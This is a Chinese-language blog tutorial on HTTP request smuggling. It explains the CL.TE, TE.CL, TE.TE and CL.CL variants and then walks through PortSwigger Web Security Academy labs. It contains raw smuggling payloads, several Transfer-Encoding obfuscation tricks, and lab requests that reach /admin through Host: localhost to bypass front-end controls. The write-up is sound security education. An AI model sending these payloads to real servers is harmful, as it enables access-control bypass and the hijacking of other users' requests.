HTTP 请求走私


HTTP 请求走私

HTTP 请求走私

漏洞成因

HTTP 请求走私攻击,就是像走私一样在一个 HTTP 请求包中夹带另一个或者多个 HTTP 请求包,常发生于 HTTP/1.1

在现代网络中,用户和应用服务器之间一般不会直接连接,而是通过反向代理进行转发到服务器
典型的架构是:用户 –> 前端服务器(Front-end)–> 后端服务器(Back-end)

image

为了提高性能,前后端服务器一般会使用 HTTP Keep-Alive,多个 HTTP 请求复用同一个 TCP 连接依次发送

漏洞产生点就在这里,如果前后端服务器对一个请求在哪里结束和下一个请求在哪里开始的判断标准不一致,攻击者就可以让前端认为是一个请求,但是后端却认为是两个请求,这里就走私了数据

HTTP 请求头

要利用这个漏洞,就得关注两个请求头

Content-Length (CL)

这个是直接指定 HTTP 消息体的字节长度,结束条件为读取完指定的字节数

  • CL 计算长度需要计算上 \r\n 的两个字节

Transfer-Encoding (TE)

用来指定使用分块编码,这个协议不知道数据的总长度,但是将数据分块传输的,每发一快,就告诉这一块有多大

什么是分块呢,每一个由 CRLF 也就是 \r\n 截断的就是一块

[分块长度的十六进制数] + \r\n
[这一块的具体内容] + \r\n

结束标识

0\r\n
\r\n
  • TE 计算长度并不需要计算最后的 \r\n
  • 按照 rfc 规范,当这个请求头一起出现时,CL 将被忽略

请求走私类型

HTTP 请求走私的类型主要根据前后端对 Content-Length (CL)​ 和 Transfer-Encoding (TE)​ 的优先级的处理差异导致的,一般按照 前端处理方式 . 后端处理方式 来命名

  • 这里的攻击都可以加上一个 Connection: close 来表示结束了,告诉服务器不需要继续等待了

CL.TE 攻击

攻击场景:前端服务器只认 CL,而后端服务器支持并优先使用 TE

payload 示例
(正确的格式这里的 \r\n 是不应该写出来的,因为这里已经有一个换行了,但是为了好看这里还是写上了,后面都一样)

POST / HTTP/1.1
Host: example.com
Content-Length: 10
Transfer-Encoding: chunked

0\r\n
\r\n
Marin

在前端来看,这里 Content-Length: 10 刚好 payload 长度是 10,前端就会认为没有问题
但是后端用 TE 头来处理的时候,发现了结束的标识,就认为这个请求包已经结束了,多处来的 marin,就会被认为是下一个包的开始

下一个包就会变成这样,就会导致下一个包的数据 400 或 403

marinPOST / HTTP/1.1
……

通过这个性质,我们更进一步发送下面的 payload

POST / HTTP/1.1
Host: example.com
Content-Length: 32
Transfer-Encoding: chunked

0\r\n
\r\n
GET /admin HTTP/1.1\r\nFoo: x

这个数据拼接到下一个请求中,最后没有加换行,就将原本的请求完全吃掉了,变成我们期望的请求,这样可以利用受害者的 cookie 完成越权访问,

GET /admin HTTP/1.1
Foo: xGET /home HTTP/1.1
……

TE.CL 攻击

攻击场景:前端服务器支持并优先使用 TE,后端只认 CL

payload 示例

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

5\r\n
Marin\r\n
0\r\n
\r\n

前端服务器依照 TE 来读取,第一个块字节长度是 5,然后读到结束标识,这个请求没有问题,成功放行到后端
后端处理的时候,只读到了 CL 指示的 3 的长度,也就是 5\r\n 后面的数据就被截断了,但是这里比较尴尬的是结束标识也同样被留到下一个请求包中

所以这里需要构造完整的请求包来让后续执行我们恶意的请求,或者直接就是让请求 400

POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked

5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

TE.TE 攻击

攻击场景:前后端都支持 TE,但是对请求的解析有差异

核心原理:攻击者发送一个写的有点不规范的 TE 请求头,一个解析容错性强的就认为这个确实是 TE,另一个解析比较严谨的,认为这就不是 TE,我不认可,还是读 CL 吧

所以这里 payload 的关键其实是处理什么 TE 头能够让一个服务器处理,另一个服务器忽略,然后判断出是哪一个忽略了,走回上两个攻击的形式

POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
Transfer-Encoding: cow

……
  • 双重 Header
    可能有的服务器优先解析第一个,有的优先解析第二个,第二个非法就忽略了所有 TE 头

    Transfer-Encoding: chunked
    Transfer-Encoding: cow
  • 空格混淆
    在 TE 头冒号前加一个空格
    或者是在最开头加一个空格

    Transfer-Encoding : chunked
     Transfer-Encoding: chunked
  • 换行混淆
    在 TE 头后面加一个换行

    Transfer-Encoding:
     chunked
  • 制表符混淆
    用制表符代替空格

    Transfer-Encoding:[tab]chunked
  • 内容混淆
    添加 chunked 关键字时,添加一个字母,看服务器是精准匹配还是模糊匹配

    Transfer-Encoding: xchunked
  • 结构注入
    这里利用的是 HTTP 处理换行符的不同

    X: X[\n]Transfer-Encoding: chunked

    假设有的服务器认为这个 \n​ 不算换行符,那这里就只是 X 头,但是如果服务器将这个和 \r\n 都视为换行符,那这里就会被识别为

    X: X
    Transfer-Encoding: chunked

CL.CL 攻击

这个就算不那么常见的了(也很难写成这样

攻击场景:前后端都支持 CL

这里利用是传两个 CL 头,RFC 有规定,如果出现两个 CL 头,就要报 400,这里就是测试服务器有没有严格实现

CL 不为 0 的 GET 请求

这个也是规范问题,就是前端服务器允许了 GET 请求可以带请求体,并且设置了 CL 头,但是后端忽略了 CL 头,导致请求体走私了

靶场

这个是 burp 的实验室,这里就尝试打一下

什么是 HTTP 请求走私?教程及示例 | 网络安全学院 — What is HTTP request smuggling? Tutorial & Examples | Web Security Academy

CL.TE 基本漏洞

几个包翻了一下,可以发现只有主页面的请求是用的 HTTP/1.1 协议,虽然返回的是 HTTP/2

image

这里也是神秘的(,自己发的时候就会变成 HTTP/2 ,需要手动修改

image

这里也很简单,这个包发两次就行

POST / HTTP/1.1
Host: 0ad800c7045fa8a780589e7a001000b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

image

TE.CL 基本漏洞

这个和上面一样,只是要数长度,这里可以使用拓展

image

就能自动转成需要的拓展

POST / HTTP/1.1
Host: 0aaf00ed03b57ae780d63f6400df000e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

这里有一个关键就是 Content-Length: 15​ 长度,明明这里才 3,为什么需要 15,因为这里是为将下一个请求的请求头给包裹到这个请求的 POST 中 GET / HTTP/1.1 的长度就是 12,刚好被消化掉

通过差异响应确认 CL.TE 漏洞

POST / HTTP/1.1
Host: 0a39004c03757ad680ea496e004a0064.web-security-academy.net
Cookie: session=gRi8G38F8Z3oIpOfB4ueLn9DCPQ8dh9q
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo:x

通过差异响应确认 TE.CL 漏洞

POST / HTTP/1.1
Host: 0aac00a50356381881f025a900950062.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

x=1
0

CL.TE 漏洞绕过前端安全控制

发送两次发现需要 local 才行

POST / HTTP/1.1
Host: 0a5f00b904b0b3e08096947d00410050.web-security-academy.net
Cookie: session=xmGY4Yyh9zfxxyTnlUOTkpW4wGzu82Z8
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

image

修改之后发现有两个标头导致出问题了

image

那就利用 post 的方法将所有的都化为请求体

POST / HTTP/1.1
Host: 0a5f00b904b0b3e08096947d00410050.web-security-academy.net
Cookie: session=xmGY4Yyh9zfxxyTnlUOTkpW4wGzu82Z8
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
Host: localhost
Content-Length: 55

x=1

image

题目要求将 carlos 删除,访问对应 api 就行

参考:

浅谈HTTP请求走私-先知社区

协议层的攻击——HTTP请求走私


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录